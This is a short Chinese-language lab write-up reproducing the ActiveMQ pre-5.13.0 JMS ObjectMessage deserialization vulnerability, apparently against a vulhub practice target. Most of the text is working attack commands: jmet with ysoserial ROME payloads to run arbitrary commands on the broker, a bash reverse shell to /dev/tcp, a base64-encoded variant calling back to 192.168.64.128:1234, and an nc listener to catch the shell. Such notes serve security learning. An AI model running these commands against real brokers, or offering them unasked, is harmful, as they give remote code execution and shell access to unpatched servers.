一个纯java的消息中间件程序,5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码,但复现时我们是利用现成的工具(jmet-0.1.0-all.jar)直接去打,所以我们只需去修改需要执行的命令即可。
复现下载工具
jmet是利用ysoserial(集合了各种java反序列化payload)去构造生成payload
在jar存在的目录下运行
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/test" -Yp ROME vulhub.yster.live 61616
运行成功,在http://vulhub.yster.live:8161/admin/browse.jsp?JMSDestination=event查看事件,点击事件ID即运行成功
进入容器查看是否执行成功
docker ps
docker exec -it <容器id> bash
docker exec 的-it操作
替换touch /tmp/test为bash反弹shell
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/ip/7777 0>&1" -Yp ROME vulhub.yster.live 61616
因为java的机制所以要对命令进行base64加密?但是网上许多有的是不加密也可以连接成功,有的是加密了也连接不上。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY0LjEyOC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME vulhub.yster.live 61616
打开nc监听
nc -lvp 1234



